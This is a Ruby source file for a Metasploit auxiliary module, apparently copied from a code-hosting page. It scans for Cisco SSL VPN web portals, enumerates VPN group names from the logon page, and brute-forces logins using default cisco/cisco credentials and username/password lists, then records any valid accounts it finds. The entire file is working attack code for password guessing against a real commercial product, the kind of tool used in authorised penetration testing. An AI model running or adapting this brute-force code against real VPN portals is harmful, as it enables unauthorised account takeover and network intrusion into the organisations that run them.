228 lines
5.9 KiB
Ruby
228 lines
5.9 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'rex/proto/http'
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::AuthBrute
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Cisco SSL VPN Bruteforce Login Utility',
|
|
'Description' => %{
|
|
This module scans for Cisco SSL VPN web login portals and
|
|
performs login brute force to identify valid credentials.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Jonathan Claudius <jclaudius[at]trustwave.com>'
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'DefaultOptions' =>
|
|
{
|
|
'SSL' => true,
|
|
'USERNAME' => 'cisco',
|
|
'PASSWORD' => 'cisco'
|
|
}
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(443),
|
|
OptString.new('GROUP', [false, "A specific VPN group to use", ''])
|
|
], self.class)
|
|
end
|
|
|
|
def run_host(ip)
|
|
unless check_conn?
|
|
vprint_error("#{peer} - Connection failed, Aborting...")
|
|
return false
|
|
end
|
|
|
|
unless is_app_ssl_vpn?
|
|
vprint_error("#{peer} - Application does not appear to be Cisco SSL VPN. Module will not continue.")
|
|
return false
|
|
end
|
|
|
|
vprint_good("#{peer} - Application appears to be Cisco SSL VPN. Module will continue.")
|
|
|
|
groups = Set.new
|
|
if datastore['GROUP'].empty?
|
|
vprint_status("#{peer} - Attempt to Enumerate VPN Groups...")
|
|
groups = enumerate_vpn_groups
|
|
|
|
if groups.empty?
|
|
vprint_warning("#{peer} - Unable to enumerate groups")
|
|
vprint_warning("#{peer} - Using the default group: DefaultWEBVPNGroup")
|
|
groups << "DefaultWEBVPNGroup"
|
|
else
|
|
vprint_good("#{peer} - Enumerated VPN Groups: #{groups.to_a.join(", ")}")
|
|
end
|
|
|
|
else
|
|
groups << datastore['GROUP']
|
|
end
|
|
groups << ""
|
|
|
|
vprint_status("#{peer} - Starting login brute force...")
|
|
groups.each do |group|
|
|
each_user_pass do |user, pass|
|
|
do_login(user, pass, group)
|
|
end
|
|
end
|
|
end
|
|
|
|
# Verify whether the connection is working or not
|
|
def check_conn?
|
|
begin
|
|
res = send_request_cgi('uri' => '/', 'method' => 'GET')
|
|
vprint_good("#{peer} - Server is responsive...")
|
|
rescue ::Rex::ConnectionRefused,
|
|
::Rex::HostUnreachable,
|
|
::Rex::ConnectionTimeout,
|
|
::Rex::ConnectionError,
|
|
::Errno::EPIPE
|
|
return
|
|
end
|
|
end
|
|
|
|
def enumerate_vpn_groups
|
|
res = send_request_cgi(
|
|
'uri' => '/+CSCOE+/logon.html',
|
|
'method' => 'GET',
|
|
)
|
|
|
|
if res &&
|
|
res.code == 302
|
|
|
|
res = send_request_cgi(
|
|
'uri' => '/+CSCOE+/logon.html',
|
|
'method' => 'GET',
|
|
'vars_get' => { 'fcadbadd' => "1" }
|
|
)
|
|
end
|
|
|
|
groups = Set.new
|
|
group_name_regex = /<select id="group_list" name="group_list" style="z-index:1(?:; float:left;)?" onchange="updateLogonForm\(this\.value,{(.*)}/
|
|
|
|
if res &&
|
|
match = res.body.match(group_name_regex)
|
|
|
|
group_string = match[1]
|
|
groups = group_string.scan(/'([\w\-0-9]+)'/).flatten.to_set
|
|
end
|
|
|
|
return groups
|
|
end
|
|
|
|
# Verify whether we're working with SSL VPN or not
|
|
def is_app_ssl_vpn?
|
|
res = send_request_cgi(
|
|
'uri' => '/+CSCOE+/logon.html',
|
|
'method' => 'GET',
|
|
)
|
|
|
|
if res &&
|
|
res.code == 302
|
|
|
|
res = send_request_cgi(
|
|
'uri' => '/+CSCOE+/logon.html',
|
|
'method' => 'GET',
|
|
'vars_get' => { 'fcadbadd' => "1" }
|
|
)
|
|
end
|
|
|
|
if res &&
|
|
res.code == 200 &&
|
|
res.body.match(/webvpnlogin/)
|
|
|
|
return true
|
|
else
|
|
return false
|
|
end
|
|
end
|
|
|
|
def do_logout(cookie)
|
|
res = send_request_cgi(
|
|
'uri' => '/+webvpn+/webvpn_logout.html',
|
|
'method' => 'GET',
|
|
'cookie' => cookie
|
|
)
|
|
end
|
|
|
|
# Brute-force the login page
|
|
def do_login(user, pass, group)
|
|
vprint_status("#{peer} - Trying username:#{user.inspect} with password:#{pass.inspect} and group:#{group.inspect}")
|
|
|
|
begin
|
|
cookie = "webvpn=; " +
|
|
"webvpnc=; " +
|
|
"webvpn_portal=; " +
|
|
"webvpnSharePoint=; " +
|
|
"webvpnlogin=1; " +
|
|
"webvpnLang=en;"
|
|
|
|
post_params = {
|
|
'tgroup' => '',
|
|
'next' => '',
|
|
'tgcookieset' => '',
|
|
'username' => user,
|
|
'password' => pass,
|
|
'Login' => 'Logon'
|
|
}
|
|
|
|
post_params['group_list'] = group unless group.empty?
|
|
|
|
resp = send_request_cgi(
|
|
'uri' => '/+webvpn+/index.html',
|
|
'method' => 'POST',
|
|
'ctype' => 'application/x-www-form-urlencoded',
|
|
'cookie' => cookie,
|
|
'vars_post' => post_params
|
|
)
|
|
|
|
if resp &&
|
|
resp.code == 200 &&
|
|
resp.body.match(/SSL VPN Service/) &&
|
|
resp.body.match(/webvpn_logout/i)
|
|
|
|
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")
|
|
|
|
do_logout(resp.get_cookies)
|
|
|
|
report_hash = {
|
|
:host => rhost,
|
|
:port => rport,
|
|
:sname => 'Cisco SSL VPN',
|
|
:user => user,
|
|
:pass => pass,
|
|
:group => group,
|
|
:active => true,
|
|
:type => 'password'
|
|
}
|
|
|
|
report_auth_info(report_hash)
|
|
return :next_user
|
|
|
|
else
|
|
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}:#{group.inspect}")
|
|
end
|
|
|
|
rescue ::Rex::ConnectionRefused,
|
|
::Rex::HostUnreachable,
|
|
::Rex::ConnectionTimeout,
|
|
::Rex::ConnectionError,
|
|
::Errno::EPIPE
|
|
vprint_error("#{peer} - HTTP Connection Failed, Aborting")
|
|
return :abort
|
|
end
|
|
end
|
|
end
|